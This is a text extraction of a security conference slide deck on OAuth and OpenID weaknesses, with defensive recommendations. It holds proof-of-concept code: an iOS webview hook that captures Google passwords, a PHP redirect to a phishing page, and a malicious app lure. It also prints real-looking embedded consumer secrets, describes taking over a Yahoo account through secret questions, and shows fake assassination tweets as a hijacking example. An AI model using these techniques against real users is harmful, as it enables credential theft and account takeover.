khash kiani khash@thinksec.com



identity x securing the insecure


a study of emerging IDENTITY X.0 protocols

what you should remember?

- I. protocols with very good intentions
- 2. it's the implementation, not the protocol



roadmap



identity X.0

- OAuth flow
- malicious OAuth applications
- insecure OAuth implementation
- OpenID intro
- how i owned my friend's ID
- insecurities with OpenID
- summary



next-generation identity

'optimize your online experience'

what is identity?



who you are



Khash Kiani

where you live





what you do














things you like









reputation

Linked in



communication

- email address
- phone number

ownership

- →media files
- documents



authorization



roadmap


- identity X.0
- OAuth flow
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 - summary

what's OAuth?



user-centric scheme

user controls authorization



terminology


actors:

resource owner (user)
resource consumer (client)
resource provider (server)

tokens:

consumer credentials request token access token refresh token

use case



resource consumer - client

authorization flow

- I. client app authentication
- 2. get request token: POST oauth/request_token
- 3. authenticate user: GET oauth/authorize
- 4. get access token: POST oauth/access_token

roadmap

- identity X.0
- OAuth flow



- insecure OAuth implementation
- OpenID intro
- how i owned my friend's ID
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- summary

building malicious OAuth clients (native and web apps)




password theft with Google client

(a native iOS OAuth client)



OAuthSampleTouch mobile Google app

(connects to Google reader account)



modify the UIWebViewDelegate's:

webView:shouldStartLoadWithRequest:navigationType

```
- (BOOL)webView: (UIWebView *)webView shouldStartLoadWithRequest: (NSURLRequest *)request navigationType (UIWebViewNavigationType)navigationType {
    NSLog(@"Method: %@",[request HTTPMethod]);
```

```
NSString *body = [[NSString alloc] initWithData:[request HTTPBody] encoding:NSUTF8StringEncoding];
NSLog(@"Submitting: %@\n\n\ %@", [request.URL absoluteString],body);

NSArray *components = [body componentsSeparatedByString:@"&"];


for (NSString *tmp in components) {
    if ([tmp hasPrefix:@"Email"]) {
        emailLabel.text = tmp;
        NSLog(@"Your Google Username: %@", tmp);
    }

    if ([tmp hasPrefix:@"Passwd"]) {
        passwdLabel.text = tmp;
        NSLog(@"Your Google Password: %@", tmp);
    }
}


return YES;
}
```

- callback method to intercept the login page prior to sending the post request
- no proper browser control like same-origin-policy










output the Google credentials


```
2011-08-01 15:34:20.699 oauthPOC[1953:b303] Submitting: https://www.google.com/accounts/S

continue=http%3A%2F%2Fwww.google.com%2Fm&followup=http%3A%2F%2Fwww.google.com
%2Fm&service=mobile&cd=US&dsh=4410277537874351112&btmpl=mobile_tier2&hl=en&timeStmp=&secT
uxtian&Passwd=oopsyousawit&PersistentCookie=yes&rmShown=1&signIn=Sign+in
2011-08-01 15:34:20.700 oauthPOC[1953:b303] Your Google Username: Email=truxtian
2011-08-01 15:34:20.701 oauthPOC[1953:b303] Your Google Password: Passwd=oopsyousawit
2011-08-01 15:34:21.197 oauthPOC[1953:b303] Method: GET

Google Username: Email=truxtian
Google Password: Passwd=oopsyousawit
```



OAuth provides the user with a false sense of safety in the authentication workflow



recommendations

(mobile apps)

- client application developers: keep authentication outside the app and inside the browser
- users: do not trust clients that do not use a trusted neutral application such as safari to manage server auth
- protocol designers: stricter policies around authenticating clients to server. better browser API support

fortune telling facebook client


(a 3rd party browser-based web client)



a social engineering OAuth client to establish user trust


lure the victim to use your app

domain apps.facebook.com is trustworthy!




Good luck and see you on the dark side!

https://apps.facebook.com/redevilfortune/




* source: core impact client-side phishing campaign

query private user messages




build the trap to aid exploitation



assumptions

- victim has an active session with his banking site
- no CSRF protection by banking site





"but it looked so official!"

OAuth provides the user with a false sense of safety in the authentication workflow

Dear Facebook, what is the business need for a web application to read my private messages?

roadmap

- identity X.0
- OAuth flow
- malicious OAuth applications
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


insecure implementation

flawed session management




Avon selects twitterfeed to publish something




- Avon is redirected to twitter's authorization endpoint
- Avon enters his twitter credentials and grants access



- Avon is redirected back to complete the feed
- Avon signs out of twitterfeed and walks away



what about his twitter session?



Avon_Barksdale_

risks

- unattended session
- no session timeout
- user remains logged in

what can go wrong?



Edit your profile →

Tweets

Favorites Following Followers Lists T



khashkiani Khash Kiani

I hate waking up at 7:45 in the morning for work :(TRYING this out tinyurl.com/42ufanf



khashkiani Khash Kiani

I'm sooo not looking forward to getting up for work tomorrowwww - cant wait for this thing to work! tinyurl.com/3zgn9s2



khashkiani Khash Kiani

THIS is the weekend that im going to tell my boss to go to hell for good :D hope this works!! tinyurl.com/3bjcy5g

Tweets

Favorites Following Followers Lists



foxnewspolitics foxnewspolitics

We wish @joebiden the best of luck as our new President of the United States. In such a time of madness, there's light at the end of tunnel

2 hours ago



foxnewspolitics foxnewspolitics

BREAKING NEWS: President @BarackObama assassinated, 2 gunshot wounds have proved too much. It's a sad 4th for #america. #obamadead RIP

2 hours ago



foxnewspolitics foxnewspolitics

#ObamaDead, it's a sad 4th of July. RT to support the late president's family, and RIP. The shooter will be found


2 hours ago




foxnewspolitics foxnewspolitics


@BarackObama shot twice at a Ross' restaurant in Iowa while campaigning. RIP Obama, best regards to the Obama family.

2 hours ago

















problem, meet solution

- invalidate server session
- short-lived access token
- no auto-processing


a better approach



Log out of the Yahoo! network too?


can you really change your password?





change password = old access token still works!

New Twitter - Avon_Barksdale_ Service





Avon_Barksdale_'s settings

Account

Password

Mobile

Notifications

Profile Design **Applications**

You've allowed the following applications to access your account



twitterfeed by twitterfeed

feed your blog to twitter - twitterfeed lets you post any RSS or Atom feed to twitter automatically

read and write access · Approved: Sun Feb 27 23:04:15 2011





Twitpic by Twitpic Inc

Share photos on Twitter with Twitpic

read and write access · Approved: Fri Feb 25 12:39:04 2011

Revoke Access

Revoke Access

solution

- ensure compromised credentials cannot be used
- revoke tokens upon password changes
 - results from facebook access token leakage to 3rd party apps

insecure storage of secrets

(consumer/client credentials)



```
Consumer key

qSkJu

76A

Consumer secret

Bs738
```

server-side

- isolate the credentials
- protect the integrity

native clients

- native mobile app
- desktop apps

"So forget about using the consumer credentials for anything other than somewhat reliable statistics."

- e. hammer lahav

how about these use cases:

- fulfill specific business requirements
 - server must keep track of all clients
 - provisioning
- prevent phishing attacks

popular implementations

(installed mobile apps)

- I. omit the client credentials entirely
- 2. embed in the client app itself

threat

(with embedded client credentials)

compromised credentials



open source clients

- source code
- resource bundle

the not so secret consumer secrets

```
9 import appuifw
10
11 appuifw.app.directional pad = False
12 appuifw.app.body = appuifw.Text(u'Please update your feed')
13 appuifw.app.title = u'ff60'
14 appuifw.app.screen = 'normal'
16 import sys
17 import e32
18 import e32dbm
19
20 import friendfeed
21 import re
23 SIS VERSION = "0.2"
24
oauth consumer key = u'039f2ee0fea942be9ca9ccdd3455a98c'
26 oauth_consumer_secret = u'6cdfe18c375644d4a5619aa5b42c81d85cb4116dd4a84a948f274059ff096ea0'
27 ff num per page = 25
28
29 class Main:
       def init_(self):
30
           # отключаем экранную клавиатуру
31
           self.db = e32dbm.open(u'c:\\ff60.db', 'c')
32
33
           self.data = None
           self.lb = None
34
           self.links_list = appuifw.Listbox([u'Links list'], self.open_link)
35
36
           self.page = 0
           self.ff = None
37
```

```
34
35 {$REGION 'SysConst'}
36
    C RN = #13#10;
37
   C MN = ' %0D %0A';
38
    C BR = '<br';
    C HR = '<HR>';
40
    C AS = ' < b > %s < / b > ';
    C KB = 'KB';
42
    C MB = 'MB';
43
    C VS = '%s';
44
    C VD = '%d';
    C DTseconds = 1 / SecsPerDay;
45
    C DblClickTime = 0.6 * C DTseconds;
46
    C_WM_APPBAR = WM_USER + 1;
    X Twitter OAuth Consumer Key = 'L2k1KZBCDXAAS79jEBdOJg';
    X Twitter OAuth Consumer Secret = 'uKWHm36A2ZpaGnmSNKQh0hT2rD656xRWtPYJ6Kg';
50 {$ENDREGION}
51 {$REGION 'FilesConst'}
52
```

closed source clients

- binary extraction on android oauth client:
 - astro file mgr to copy the client app
 - poke around
 - classes.dex
 - "dexdump classes.dex


compromised credentials

impact:

- key rotation and kill switch
- not meeting business requirements
- anonymous publication by competition
- susceptible to phishing attacks


alternative approach


· automated provisioning to establish trust





(installed mobile apps)


- authenticate user to client's web server
- · call home to get device id
- store device id locally
- proceed with oauth flow to get request token
- validate device id to authenticate client
- proceed with the flow to grant access token

















OAuth take-aways:

- defeating password anti-pattern
- installed apps cannot hold on to secrets
- session & pswd management
- implementation, not protocol



roadmap

- identity X.0
- OAuth flow
- malicious OAuth applications
- insecure OAuth implementation



- >OpenID intro
- how i owned my friend's ID
- insecurities with OpenID
- summary

what's OpenID?

(decentralized)



http://me.yahoo.com/khash_K

terminology

- end-user (EU)
- relying party (RP or consumer)
- identity provider (IdP)
- identifier (URI or XRI)

what problems does it solve?

site registration





Hi! Ready to register with eBay?

It's your typical registration - it's free and fairly simple to complete.

Already registered or want to make changes to your account? Sign in. Want to open an account for your company?

| Tell us about yourself - All fields are required |
|--|
| First name Last name |
| Street address |
| City |
| State / Province ZIP / Postal code Country or region -Select- United States |
| Primary telephone number ext.: Example: 123-456-7890 Telephone is required in case there are questions about your account. |
| Email address |
| Re-enter email address |
| We're not big on spam. You can always change your email preferences after registration. Choose your user ID and password - All fields are required |
| Create your eBay user ID |
| Use letters, numbers and/or characters (period, asterisk, underscore or dash). Your user ID should not be the same as your email address. How to pick a great user ID. |
| Create your password caSe sensitive. Learn about secure passwords. |
| Re-enter your password |
| Pick a secret question Select your secret question |
| Your secret answer If you forget your password, we'll verify your identity with your secret question |
| and the same of th |

| Create your Windows Live ID It gets you into all Windows Live services—and other places you see All information is required. | |
|--|--|
| | If you use Hotmail , Messenger , or Xbox LIVE , you already have a Windows Live ID. Sign in |
| Windows Live ID: | @ hotmail.com 💠 |
| | Or use your own email address |
| Create a password: | |
| | 6-character minimum; case sensitive |
| Retype password: | |
| Alternate email address: | |
| | Or choose a security question for password reset |
| First name: | |
| Last name: | |
| Country/region: | United States 💠 |
| State: | Select one |
| ZIP code: | |
| Gender: | ○ Male ○ Female |
| Birth year: | Example: 1990 |
| | Enter the characters you see New Audio Help |
| | 1846. tientere |

painful & unverified

too many usernames and passwords

silo (site-centric)

how about usernames & passwords?

directory centric

single directory entry

single authority

not portable

what is OpenID mimicking?

government issued ID


provides consistency in identification issuance















benefits?

consistent verification process






what does she need?







asymmetric trust = scalability















side effects?








OOX DocuSign Zoom







simple flow

(auth request & auth response)

- I. end-user presents the consumer with a unique identifier
- 2. consumer directs the end-user to the IdP auth landing page
- 3. end-user authenticates and is redirected back to consumer

roadmap

- identity X.0
- OAuth flow
- malicious OAuth applications
- insecure OAuth implementation
- OpenID intro




- insecurities with OpenID
- summary

key to the kingdom

weak identity providers

enabling your Y! OpenID



story

how i met my friend's OpenID accounts



intent

design flaws in Yahoo's password management

OpenID account compromise

strategy

- find a weak link
- a path of least resistance
- = password reset scheme

Yahoo! verification process

Please answer your secret question

This is it, we're almost done!

Question 1 of 2



where was your father born?

Added February 16, 2010

This is not my question

Venezuela - Largest Cities

| | Name | Population | Latitude/Longitude |
|----|----------------------------|------------|--------------------|
| 1 | Caracas, Distrito Capital | 3,000,000 | 10.5 / -66.917 |
| 2 | Maracaibo, Zulia | 2,225,000 | 10.632 / -71.641 |
| 3 | Maracay, Aragua | 1,754,256 | 10.247 / -67.596 |
| 4 | Valencia, Carabobo | 1,385,083 | 10.162 / -68.008 |
| 5 | Barquisimeto, Lara | 809,490 | 10.074 / -69.323 |
| 6 | Ciudad Guayana, Bolívar | 746,535 | 8.351 / -62.641 |
| 7 | Barcelona, Anzoátegui | 424,795 | 10.133 / -64.7 |
| 8 | Maturín, Monagas | 410,972 | 9.75 / -63.177 |
| 9 | Puerto La Cruz, Anzoátegui | 370,000 | 10.217 / -64.617 |
| 10 | Petare, Miranda | 364,684 | 10.483 / -66.817 |

Yahoo! verification process (cont.)

Please answer your secret question

This is it, we're almost done!

Question 2 of 2

What is the name of the street on which you grew up?


Added February 16, 2010



Free People Search and Public Information Search Engine



Yahoo! pswd reset process





Hi, jordan ▼ | Sign Out | Help

Hi jordan,

You have successfully reset your password. Yahoo! is changing the way you can recover your account in case you forget your password. The following information is required in order to use your Yahoo! account.

up the ante

access all relying parties



access other accounts linked to Yahoo!



target is informed

elapsed time: 40 minutes game over!

defense

changed secret questions & answers

now what?

re-compromise

Please answer your secret question

This is it, we're almost done!

Question 1 of 2

Where did you spend your honeymoon?

Added August 30, 2011

This is not my question

new reset question!

re-compromise (cont.)


Please answer your secret question

This is it, we're almost done!

Question 1 of 2

Where did you spend your honeymoon?

Added August 30, 2011



flaw #I: reverts back

Please answer your secret question

This is it, we're almost done!



back to the old question!

where was your father born?

Added February 16, 2010

defense (2nd try)

kept original questions, but replaced the answers to something else

Secret Questions

Yahoo! is changing the way you can recover your account in case your forget your password. You may choose two secret questions and answers. your answer is private, memorable and does not change over time.



Done

flaw #2: can't replace answers

- new answer does not "replace" old one
- users end up with a collection of identical Q&As
- the original, default, insecure Q&As still work

solution

- protect the OpenID kingdom
- IdPs need strong password management
- end-users need strong online presence
- end-users cannot leave online bread crumbs
- end-users to use ONLY trustworthy IdPs

roadmap

- identity X.0
- OAuth flow
- malicious OAuth applications
- insecure OAuth implementation
- OpenID intro
- how i owned my friend's ID




summary



OpenID insecurities

stinky phish



why phishing is trivial?

a typical OpenID login procedure:

- I. Visit a legitimate site you have never seen before
- 2. See a bunch of OpenID IdP logos
- 3. Enter your favorite OpenID name and click "Log in"
- 4. See the login form for your legitimate OpenID provider
- 5. Submit your password

a phished OpenID login procedure:

- I. Visit a legitimate site you have never seen before
- 2. See a bunch of OpenID IdP logos
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built-in phishing capabilities

- redirection is under the control of the evil party
 - consumer (RP) decides the IdP server URL and landing page
- users trained to follow a link from the *unknown*
- minimal trickery
 - nothing special, just a site that uses OpenID
 - , no need for spam emails and social-engineering
- high number of users *never* look at the location bar
 - main reason phishing works in the first place

how?

impersonate a single, and well-known login page

- build an interesting site
- require OpenID auth to access or post content
- reate a replica landing page for Yahoo!
- intercept and redirect to phish landing page

```
sample
OpenID PHP
code
```


```
if(empty($_GET['openid_url'])) {
    $error = "Expected an OpenID URL.";
    include 'index.php';
    exit(0);
}
```

malicious redirection

```
if(empty($_GET['openid_url'])) {
    $error = "Expected an OpenID URL.";
    include 'index.php';
    exit(0);
}

if(strstr($_GET['openid_url'], "me.yahoo.com")) {
    include 'yahoo_phish_offer.php';
    exit(0);
}
```

replica login page



solutions (and a few suboptimal non-solutions)



user education

- "The user's going to pick dancing pigs over security every time"
 - Bruce Schneier

IP endorsement

- dynamic IP addresses
- roaming users
- public computers
- won't work!

client-side certificates

- little better
- similar issues as IP
- maintenance and provisioning nightmare

enforce bookmarks

- create bookmark upon IdP registration
- no authentication landing page upon redirect
- always use bookmark to log in
- UX = F

carry your wallet in a safe!

- IdP to not display the login page
- ask users to manually browse to the login page
- does not appeal to the masses!
- disrupts the OpenID flow
- UX = F

better approaches ...



personalized sign-in seals

- select a personalized image or text
- a secret between you and the IdP
- common with banking sites
- still involves user education

Create a Sign-In Seal

Protect yourself from password theft with a free sign-in seal.

Create a sign-in seal now.

browser support "known host"

"You're connecting to site X under SSL for the first time. If this is unexpected, you may be the victim of a phishing attack. Proceed?"

OneTimePassword (OTP)

- tokens
- out-of-band communication
- provides a 2nd factor authentication







quick note about privacy

- IdP receives and processes all your login attempts
- IdP as the central point of your online authentication
- track users by the masses by owning a single IdP!

OpenID take-aways:

- weak identity providers
- phish
- privacy
- outsourcing your security policy!
- passwords not the perfect solution



remember

- I. protocols with very good intentions
- 2. it's the implementation, not the protocol



THANK YOU!

khash@thinksec.com